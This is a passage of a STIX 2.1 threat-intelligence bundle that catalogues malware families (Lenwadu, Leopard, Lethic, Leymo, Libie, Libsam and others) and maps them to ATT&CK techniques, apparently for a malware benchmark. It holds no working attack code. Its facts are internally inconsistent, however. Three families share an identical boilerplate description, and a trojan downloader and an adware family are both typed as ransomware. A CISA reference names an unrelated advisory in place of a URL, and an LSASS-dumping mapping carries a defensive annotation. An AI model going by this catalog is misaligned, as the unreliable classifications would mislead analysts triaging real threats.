      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62ff9fa7-31fb-50f6-b372-03f2fb38aa41",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2cdf66de-fec6-5551-820d-8ea365abb6c5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lemoore exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d16c1d9a-226d-5e8e-a8d0-43f7a5b370d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2cdf66de-fec6-5551-820d-8ea365abb6c5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lemoore exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7fc650a6-b8ec-5120-8ecf-611153a81880",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2cdf66de-fec6-5551-820d-8ea365abb6c5",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lemoore exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5519af34-73d6-596b-954c-1170883241dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lenwadu",
      "description": "Trojan:Win32/Lenwadu is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Lenwadu</b><br>To an end-user, a Lenwadu infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Lenwadu is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Lenwadu is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Lenwadu frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Lenwadu reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lenwadu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lenwadu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--693e9075-3532-53a8-9a90-f8725fcee375",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5519af34-73d6-596b-954c-1170883241dd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lenwadu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d7c6350-912b-512a-a4c9-348081f8c998",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5519af34-73d6-596b-954c-1170883241dd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lenwadu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d062ee9-1a2c-52d9-94b0-795ccf4edfad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5519af34-73d6-596b-954c-1170883241dd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lenwadu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1986dd6-c413-5154-b4c2-510a98ab26c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5519af34-73d6-596b-954c-1170883241dd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lenwadu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ac0a47a-d591-552d-8c8b-430a2a4ba7aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5519af34-73d6-596b-954c-1170883241dd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lenwadu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f0fc09d3-04fb-5f0d-ba9d-b204afc389a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Leopard",
      "description": "Trojan:Win32/Leopard is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Leopard</b><br>To an end-user, a Leopard infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Leopard is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Leopard is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Leopard frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Leopard reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Leopard",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/leopard"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--804c28ee-1d23-59a6-a216-80a44532011b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0fc09d3-04fb-5f0d-ba9d-b204afc389a8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Leopard exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--efb49b60-f291-5179-a657-add311885db4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0fc09d3-04fb-5f0d-ba9d-b204afc389a8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Leopard exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e3ffbd54-cb1c-5744-9ff5-51a9fa80fe5e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0fc09d3-04fb-5f0d-ba9d-b204afc389a8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Leopard exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e26530fe-93d4-517e-99c5-0886de6e6c63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0fc09d3-04fb-5f0d-ba9d-b204afc389a8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Leopard exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da8e284e-a417-5a10-9892-7ef89bf3a18e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0fc09d3-04fb-5f0d-ba9d-b204afc389a8",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Leopard exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4311c709-6d2d-51a8-89cb-906d1281705a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lethic",
      "description": "Lethic is a notorious, long-running spam-distribution botnet that first emerged in 2008. Designed specifically as an automated email transmission engine for Eastern European cybercrime operations, Lethic compromised hundreds of thousands of Windows PCs worldwide to blast billions of unauthorized emails peddling illicit pharmaceuticals, counterfeit designer goods, financial scams, and malware dropper attachments.\n\nIn January 2010, international cybersecurity researchers and upstream Tier-1 internet service providers executed a coordinated takedown, disconnecting Lethic's primary command and control infrastructure in the Netherlands and Ukraine, which caused global spam volumes to temporarily drop by more than 10%. However, the operators demonstrated remarkable operational agility, rapidly reactivating the botnet within weeks by utilizing hardcoded backup IP ranges and encrypted fallback communication channels. Lethic employs a lightweight client implant that receives encrypted email templates and recipient lists over custom TCP ports, directly dispatching high-volume SMTP connections on port 25 without alerting the workstation user. (Observed samples in benchmark: 4,879)",
      "is_family": true,
      "malware_types": [
        "bot"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Lethic",
        "SpamBot.Lethic",
        "Trojan.Lethic",
        "Win32/Lethic"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lethic",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lethic"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Alert AA20-302A (Top Routinely Exploited Vulnerabilities)"
        }
      ],
      "labels": [
        "spam_bot",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c27726b-2951-5726-b3cf-94f4e9a5b241",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4311c709-6d2d-51a8-89cb-906d1281705a",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lethic exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b412d97d-24a5-5870-ae27-461ba4bbb241",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4311c709-6d2d-51a8-89cb-906d1281705a",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lethic exhibits technique T1498 (Network Denial of Service (Coordinated DDoS attacks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ae775fa-f604-54af-b33a-8fafbdfa7142",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4311c709-6d2d-51a8-89cb-906d1281705a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lethic exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd58e372-6e3b-54c1-8422-331d40d98303",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4311c709-6d2d-51a8-89cb-906d1281705a",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lethic exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95d22668-7957-5ca1-85fd-b6e0f3fe46c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4311c709-6d2d-51a8-89cb-906d1281705a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lethic exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--710b83aa-8398-513e-ac4d-f921c76d16f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Leymo",
      "description": "Trojan:Win32/Leymo is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Leymo</b><br>To an end-user, a Leymo infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Leymo is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Leymo is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Leymo frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Leymo reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Leymo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/leymo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--696b7a21-a310-5ccd-9fac-c10f7bf79dac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--710b83aa-8398-513e-ac4d-f921c76d16f4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Leymo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fca41c86-c62f-506b-a3a9-94ef6cfc6793",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--710b83aa-8398-513e-ac4d-f921c76d16f4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Leymo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af42e82a-45f2-5197-9c01-33339dc47c0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--710b83aa-8398-513e-ac4d-f921c76d16f4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Leymo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20d48964-9315-59bf-8a22-18262d808669",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--710b83aa-8398-513e-ac4d-f921c76d16f4",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Leymo exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ad3d1ce-412d-5601-aac5-a5e308b4c59a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--710b83aa-8398-513e-ac4d-f921c76d16f4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Leymo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--57c48aba-85c0-5869-930b-963ee06b368f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Libie",
      "description": "Adware:Win32/Libie is a highly intrusive adware family designed to hijack the user's web browsing experience. Its primary goal is monetization through forced ad impressions and affiliate link redirection. Libie specifically targets the browser's core components, injecting advertisements directly into web pages and altering default search settings without user consent (`T1189`).<br><br><b>Understanding Libie (Browser Hijacking)</b><br>To an end-user, Libie makes the internet nearly unusable. Legitimate search results are replaced with sponsored links, random text on web pages is turned into hyperlinks, and large banner ads obscure actual content. For an IT department, Libie is a security risk because the adware networks it uses are often compromised, serving as vectors for more severe malware like ransomware or credential stealers (malvertising).<br><br><b>Execution and Hijacking Mechanics</b><br>Libie is typically distributed via pay-per-install (PPI) networks, bundled with freeware or deceptive 'update' prompts. Upon execution, it installs itself as a Windows Service or Scheduled Task to ensure persistence (`T1543.003`). It then drops malicious extensions into Chrome, Edge, and Firefox. To prevent easy removal, Libie often modifies the Windows Registry (specifically the `ExtensionInstallForcelist` policies for Chrome/Edge) (`T1562.001`), locking the extension so the user cannot uninstall it via the browser UI.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized monetization of user data and exposure to secondary malware. Host-based IoCs include the presence of unexpected browser extensions (often with random alphanumeric IDs), unauthorized modifications to browser policy registry keys (`HKLM\\Software\\Policies\\Google\\Chrome`), and unexpected executables running from `%LocalAppData%`. Network IoCs involve constant, high-volume background HTTP/HTTPS requests to known advertising networks and tracking domains. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Libie",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/libie"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dcbd6851-1573-5d5f-ab85-6e5174228a83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57c48aba-85c0-5869-930b-963ee06b368f",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Libie exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2fd37d93-c862-54f6-b1b5-dbe329db792a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57c48aba-85c0-5869-930b-963ee06b368f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Libie exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b4b76a5-699d-5cff-891f-8d98de2eefc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57c48aba-85c0-5869-930b-963ee06b368f",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Libie exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1b9f4270-e41b-567a-965f-bd63dd930465",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Libsam",
      "description": "<h3>Executive Summary</h3>\nLibsam (often a component of or detected alongside tools like `pwdump` or `gsecdump`) is a classification for a HackTool library designed specifically to interact with and extract the Security Account Manager (SAM) database from Windows operating systems. When found on a corporate endpoint outside of authorized penetration testing, it is a critical indicator of post-compromise activity and impending credential theft.\n\n<h3>Technical Capabilities and Abuse</h3>\nLibsam itself is typically a Dynamic Link Library (`.dll`) utilized by a larger credential dumping framework. Threat actors deploy these tools *after* they have already achieved local Administrator or SYSTEM privileges on a compromised machine.\n\nIts primary function is the circumvention of OS protections to facilitate hash extraction:\n<ul>\n<li><strong>SAM Database Interaction:</strong> The Windows SAM file stores user passwords in a hashed format (LM/NTLM). Normally, the OS locks this file while Windows is running. Libsam provides the low-level API calls necessary for a dumping tool to bypass this lock.</li>\n<li><strong>Injection and Extraction:</strong> The tool utilizing Libsam often injects into the Local Security Authority Subsystem Service (`lsass.exe`) process or utilizes specialized drivers to dump the hashes directly from memory or the registry without needing to read the physical SAM file on disk.</li>\n<li><strong>Facilitating Lateral Movement:</strong> The extracted NTLM hashes are then exfiltrated. Attackers can use them in offline cracking attacks (using Hashcat) or directly in \"Pass-the-Hash\" attacks to authenticate to other servers and pivot laterally across the Active Directory domain.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe unauthorized presence of Libsam (or associated credential dumping utilities) on a system is a critical security emergency. It unequivocally indicates that an attacker has achieved elevated privileges and is actively attempting to steal domain credentials to facilitate widespread lateral movement.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the compromised machine immediately to prevent the attacker from exfiltrating the dumped hashes or using them to pivot to the Domain Controller.</li>\n<li><strong>Enterprise-Wide Credential Reset:</strong> If the tool executed successfully, incident responders must assume that all local accounts (and potentially cached domain accounts) on that machine are compromised. A mandatory password reset must be enforced.</li>\n<li><strong>Hunt for the Initial Access Vector:</strong> Libsam is a post-exploitation tool. The investigation must focus on *how* the attacker gained the administrative privileges necessary to deploy it in the first place (e.g., exploiting a vulnerable service, phishing a privileged user, or lateral movement from another host).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.Libsam",
        "Riskware.Pwdump.Lib",
        "Win32/Libsam"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Libsam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/libsam"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13244ad7-7c1e-58ee-bc69-0bcf380917b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b9f4270-e41b-567a-965f-bd63dd930465",
      "target_ref": "attack-pattern--c3a4d6d4-acb6-500e-bd8f-3225d1decb74",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Libsam exhibits technique T1003.002 (OS Credential Dumping: Security Account Manager (SAM))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ec4736c-378a-5450-b475-7a6ad8595f69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b9f4270-e41b-567a-965f-bd63dd930465",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Libsam exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory (Behaviorally blocking access to credential stores))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2148f665-5621-5667-8252-367753423b53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b9f4270-e41b-567a-965f-bd63dd930465",
      "target_ref": "attack-pattern--9c23493e-0de7-59a2-8e1c-b8b175ca625b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Libsam exhibits technique T1550.002 (Use Alternate Authentication Material: Pass the Hash)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--980bd91b-a5eb-56f7-ad5e-6ebca0769004",
